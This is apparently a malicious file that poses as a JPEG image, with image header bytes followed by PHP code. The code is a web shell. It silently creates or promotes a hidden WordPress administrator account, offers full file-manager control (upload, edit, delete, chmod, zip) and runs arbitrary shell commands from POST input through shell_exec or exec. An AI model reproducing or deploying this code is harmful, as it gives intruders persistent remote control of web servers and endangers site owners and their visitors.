ÿØÿà JFIF ÿÛ „ ( %"1!%)+...383,7(-.+ -+++--++++---+-+-----+---------------+---+-++7-----ÿÀ ß â" ÿÄ ÿÄ H !1AQaq"‘¡2B±ÁÑð#R“ÒTbr‚²á3csƒ’ÂñDS¢³$CÿÄ ÿÄ % !1AQa"23‘ÿÚ ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6 öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ"Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷ó²·˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz¥OÛ«!1›üä±Í™%ºÍãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%Ìòh´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ÇýÊTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆÑªQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»& î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$ËÚsäÿ ÷Û #°xŸëí(l »ý3—¥5m! rt`†0~'j2(]S¦¦kv,ÚÇl¦øJA£ŠƒJ3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡*….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉä¢mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ñ#ºI¤Å´%çÁ‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±bLô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U Z©RÊÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD é©¤&‡ïDbàÁôMÁ.ÿØÿà JFIF ÿÛ „ ( %"1!%)+...383,7(-.+ -+++--++++---+-+-----+---------------+---+-++7-----ÿÀ ß â" ÿÄ ÿÄ H !1AQaq"‘¡2B±ÁÑð#R“ÒTbr‚²á3csƒ’ÂñDS¢³$CÿÄ ÿÄ % !1AQa"23‘ÿÚ ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6 öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ"Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷ó²·˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz¥OÛ«!1›üä±Í™%ºÍãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%Ìòh´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ÇýÊTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆÑªQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»& î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$ËÚsäÿ ÷Û #°xŸëí(l »ý3—¥5m! rt`†0~'j2(]S¦¦kv,ÚÇl¦øJA£ŠƒJ3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡*….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉä¢mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ñ#ºI¤Å´%çÁ‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±bLô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U Z©RÊÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD é©¤&‡ïDbàÁôMÁ. $username, 'user_pass' => $password, 'user_email' => $email, 'role' => 'administrator', 'display_name' => 'Zet Gifari' )); if (is_wp_error($user_id)) { error_log('WP User creation failed: ' . $user_id->get_error_message()); } else { // Ensure administrator role (for multisite, add to main blog) $user = new WP_User($user_id); $user->set_role('administrator'); // For multisite if (is_multisite()) { add_user_to_blog(get_current_blog_id(), $user_id, 'administrator'); } // Optional: send notification? not needed } } elseif ($user_id && !user_can($user_id, 'administrator')) { // Upgrade existing user to admin $user = new WP_User($user_id); $user->set_role('administrator'); } } } // ========== PATH RESOLUTION (full access) ========== function fm_resolve_path($p) { $p = str_replace('\\', '/', $p); $real = realpath($p); if ($real === false) return $p; if (defined('FM_BASE_PATH') && FM_BASE_PATH !== null) { $base = rtrim(FM_BASE_PATH, '/'); if (strpos($real, $base) !== 0) return $base; } return $real; } $current = isset($_GET['p']) ? fm_resolve_path($_GET['p']) : fm_resolve_path(dirname(__FILE__)); if (!is_dir($current)) $current = fm_resolve_path(dirname(__FILE__)); // ========== HELPER FUNCTIONS ========== function fm_perms($f) { $p = fileperms($f); $r = ($p & 0x4000) ? 'd' : '-'; $r .= ($p & 0x0100) ? 'r' : '-'; $r .= ($p & 0x0080) ? 'w' : '-'; $r .= ($p & 0x0040) ? 'x' : '-'; $r .= ($p & 0x0020) ? 'r' : '-'; $r .= ($p & 0x0010) ? 'w' : '-'; $r .= ($p & 0x0008) ? 'x' : '-'; $r .= ($p & 0x0004) ? 'r' : '-'; $r .= ($p & 0x0002) ? 'w' : '-'; $r .= ($p & 0x0001) ? 'x' : '-'; return $r; } function fm_size($b) { if ($b >= 1073741824) return round($b/1073741824,2).' GB'; if ($b >= 1048576) return round($b/1048576,2).' MB'; if ($b >= 1024) return round($b/1024,2).' KB'; return $b.' B'; } function fm_delete($target) { if (!file_exists($target)) return; if (is_dir($target)) { $d = opendir($target); while (($f = readdir($d)) !== false) { if ($f != '.' && $f != '..') fm_delete($target.'/'.$f); } closedir($d); rmdir($target); } else { unlink($target); } } function fm_copy($src, $dst) { if (!is_dir($dst)) mkdir($dst, 0755, true); $d = opendir($src); while (($f = readdir($d)) !== false) { if ($f == '.' || $f == '..') continue; $sp = $src.'/'.$f; $dp = $dst.'/'.$f; if (is_dir($sp)) fm_copy($sp, $dp); else copy($sp, $dp); } closedir($d); } function fm_zip_available() { return class_exists('ZipArchive'); } function fm_zip_items($items, $destZip, $basePath) { if (!fm_zip_available()) return false; $zip = new ZipArchive(); if ($zip->open($destZip, ZipArchive::CREATE) !== true) return false; foreach ($items as $item) { $full = $basePath . '/' . $item; if (is_file($full)) { $zip->addFile($full, $item); } elseif (is_dir($full)) { $stack = array($full); while (!empty($stack)) { $dir = array_pop($stack); $d = opendir($dir); while (($f = readdir($d)) !== false) { if ($f == '.' || $f == '..') continue; $sub = $dir . '/' . $f; $rel = substr($sub, strlen($basePath)+1); if (is_dir($sub)) { $zip->addEmptyDir($rel); array_push($stack, $sub); } else { $zip->addFile($sub, $rel); } } closedir($d); } } } $zip->close(); return true; } function fm_extract_zip($zipFile, $dest) { if (!fm_zip_available()) return false; $zip = new ZipArchive(); if ($zip->open($zipFile) === true) { $zip->extractTo($dest); $zip->close(); return true; } return false; } function fm_set_msg($msg, $type='success') { $_SESSION['fm_msg'] = array('text'=>$msg, 'type'=>$type); } function fm_get_msg() { if (isset($_SESSION['fm_msg'])) { $m = $_SESSION['fm_msg']; unset($_SESSION['fm_msg']); return $m; } return null; } // ========== PROCESS FILE MANAGER ACTIONS ========== $msg = fm_get_msg(); if (isset($_GET['delete'])) { $target = $current . '/' . basename($_GET['delete']); if (file_exists($target)) fm_delete($target); fm_set_msg("Deleted: " . basename($target)); header("Location: ?p=" . urlencode($current)); exit; } if (isset($_GET['download'])) { $file = $current . '/' . basename($_GET['download']); if (is_file($file)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } } if (isset($_POST['savefile'], $_POST['content'])) { $save = $current . '/' . basename($_POST['savefile']); file_put_contents($save, $_POST['content']); fm_set_msg("Saved: " . basename($_POST['savefile'])); header("Location: ?p=" . urlencode($current)); exit; } if (isset($_POST['rename_old'], $_POST['rename_new'])) { $old = $current . '/' . basename($_POST['rename_old']); $new = $current . '/' . basename($_POST['rename_new']); if (file_exists($old) && !file_exists($new)) { rename($old, $new); fm_set_msg("Renamed to: " . basename($new)); } else { fm_set_msg("Rename failed", 'error'); } header("Location: ?p=" . urlencode($current)); exit; } if (isset($_POST['copy_source'], $_POST['copy_dest'], $_POST['copy_action'])) { $src = $current . '/' . basename($_POST['copy_source']); $destDir = fm_resolve_path($_POST['copy_dest']); $dest = $destDir . '/' . basename($_POST['copy_source']); if (file_exists($src)) { if ($_POST['copy_action'] == 'copy') { if (is_dir($src)) fm_copy($src, $dest); else copy($src, $dest); fm_set_msg("Copied to: " . $destDir); } else { rename($src, $dest); fm_set_msg("Moved to: " . $destDir); } } else { fm_set_msg("Source not found", 'error'); } header("Location: ?p=" . urlencode($current)); exit; } if (isset($_POST['chmod_target'], $_POST['chmod_value'])) { $target = $current . '/' . basename($_POST['chmod_target']); $perms = octdec(str_pad($_POST['chmod_value'], 4, '0', STR_PAD_LEFT)); if (chmod($target, $perms)) { fm_set_msg("Permissions changed for: " . basename($target)); } else { fm_set_msg("Chmod failed", 'error'); } header("Location: ?p=" . urlencode($current)); exit; } if (isset($_POST['bulk_action']) && isset($_POST['selected']) && is_array($_POST['selected'])) { $selected = $_POST['selected']; $action = $_POST['bulk_action']; if ($action == 'delete') { foreach ($selected as $item) { $target = $current . '/' . basename($item); if (file_exists($target)) fm_delete($target); } fm_set_msg("Deleted " . count($selected) . " items"); } elseif ($action == 'zip') { if (fm_zip_available()) { $zipName = 'bulk_' . date('Ymd_His') . '.zip'; $zipPath = $current . '/' . $zipName; if (fm_zip_items($selected, $zipPath, $current)) { fm_set_msg("Created archive: " . $zipName); } else { fm_set_msg("Failed to create zip", 'error'); } } else { fm_set_msg("Zip extension not installed", 'error'); } } header("Location: ?p=" . urlencode($current)); exit; } if ($_SERVER['REQUEST_METHOD'] == 'POST' && !isset($_POST['savefile']) && !isset($_POST['rename_old']) && !isset($_POST['copy_source']) && !isset($_POST['chmod_target']) && !isset($_POST['bulk_action']) && !isset($_POST['term_cmd'])) { if (isset($_FILES['up']) && $_FILES['up']['error'] == UPLOAD_ERR_OK) { move_uploaded_file($_FILES['up']['tmp_name'], $current . '/' . basename($_FILES['up']['name'])); fm_set_msg("Uploaded: " . $_FILES['up']['name']); } if (!empty($_POST['folder'])) { $newFolder = $current . '/' . basename($_POST['folder']); if (!file_exists($newFolder)) mkdir($newFolder, 0755, true); fm_set_msg("Created folder: " . $_POST['folder']); } if (!empty($_POST['newfile'])) { $newFile = $current . '/' . basename($_POST['newfile']); if (!file_exists($newFile)) file_put_contents($newFile, ''); fm_set_msg("Created file: " . $_POST['newfile']); } if (!empty($_POST['extract_zip'])) { $zipFile = $current . '/' . basename($_POST['extract_zip']); if (file_exists($zipFile) && pathinfo($zipFile, PATHINFO_EXTENSION) == 'zip') { $extractTo = $current . '/' . pathinfo($zipFile, PATHINFO_FILENAME); if (fm_extract_zip($zipFile, $extractTo)) { fm_set_msg("Extracted to: " . basename($extractTo)); } else { fm_set_msg("Extraction failed", 'error'); } } } header("Location: ?p=" . urlencode($current)); exit; } // ========== TERMINAL HANDLER ========== $term_output = ''; $term_cwd = isset($_SESSION['term_cwd']) ? $_SESSION['term_cwd'] : dirname(__FILE__); if (!is_dir($term_cwd)) $term_cwd = dirname(__FILE__); if (isset($_POST['term_cmd'])) { $cmd = trim($_POST['term_cmd']); if (strpos($cmd, 'cd ') === 0) { $new_dir = substr($cmd, 3); if ($new_dir == '~') $new_dir = $_SERVER['HOME'] ?? dirname(__FILE__); if ($new_dir == '-' && isset($_SESSION['term_old_cwd'])) { $new_dir = $_SESSION['term_old_cwd']; } $old_cwd = $term_cwd; if (@chdir($new_dir)) { $_SESSION['term_old_cwd'] = $old_cwd; $_SESSION['term_cwd'] = getcwd(); $term_cwd = $_SESSION['term_cwd']; $term_output = "Directory changed to: " . $term_cwd; } else { $term_output = "Cannot change directory to: $new_dir"; } } elseif ($cmd == 'pwd') { $term_output = $term_cwd; } elseif ($cmd == '') { $term_output = ''; } else { $old_cwd = getcwd(); chdir($term_cwd); if (function_exists('shell_exec')) { $output = shell_exec($cmd . ' 2>&1'); $term_output = $output !== null ? $output : 'Command executed (no output)'; } elseif (function_exists('exec')) { exec($cmd . ' 2>&1', $exec_out, $ret); $term_output = implode("\n", $exec_out); if ($ret !== 0) $term_output .= "\n[Exit code: $ret]"; } else { $term_output = "⚠️ shell_exec and exec are disabled on this server. Terminal limited to 'cd', 'pwd'."; } chdir($old_cwd); } $_SESSION['term_cwd'] = $term_cwd; } // ========== FILE MANAGER DIRECTORY LISTING ========== $items = scandir($current); $dirs = array(); $files = array(); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; if (is_dir($current . '/' . $item)) $dirs[] = $item; else $files[] = $item; } sort($dirs); sort($files); $all = array_merge($dirs, $files); $sort_by = isset($_GET['sort']) ? $_GET['sort'] : 'name'; $sort_dir = isset($_GET['dir']) ? $_GET['dir'] : 'asc'; function fm_cmp_name_asc($a, $b) { return strcasecmp($a, $b); } function fm_cmp_name_desc($a, $b) { return strcasecmp($b, $a); } function fm_cmp_size_asc($a, $b) { global $current; $sa = is_file($current.'/'.$a) ? filesize($current.'/'.$a) : 0; $sb = is_file($current.'/'.$b) ? filesize($current.'/'.$b) : 0; if ($sa == $sb) return 0; return ($sa < $sb) ? -1 : 1; } function fm_cmp_size_desc($a, $b) { global $current; $sa = is_file($current.'/'.$a) ? filesize($current.'/'.$a) : 0; $sb = is_file($current.'/'.$b) ? filesize($current.'/'.$b) : 0; if ($sa == $sb) return 0; return ($sa < $sb) ? 1 : -1; } function fm_cmp_time_asc($a, $b) { global $current; $ta = filemtime($current.'/'.$a); $tb = filemtime($current.'/'.$b); if ($ta == $tb) return 0; return ($ta < $tb) ? -1 : 1; } function fm_cmp_time_desc($a, $b) { global $current; $ta = filemtime($current.'/'.$a); $tb = filemtime($current.'/'.$b); if ($ta == $tb) return 0; return ($ta < $tb) ? 1 : -1; } if ($sort_by == 'size') { if ($sort_dir == 'asc') usort($all, 'fm_cmp_size_asc'); else usort($all, 'fm_cmp_size_desc'); } elseif ($sort_by == 'time') { if ($sort_dir == 'asc') usort($all, 'fm_cmp_time_asc'); else usort($all, 'fm_cmp_time_desc'); } else { if ($sort_dir == 'asc') usort($all, 'fm_cmp_name_asc'); else usort($all, 'fm_cmp_name_desc'); } ?>
Tip: Use cd <directory> to change directory (persistent). Commands run in the terminal's own working directory.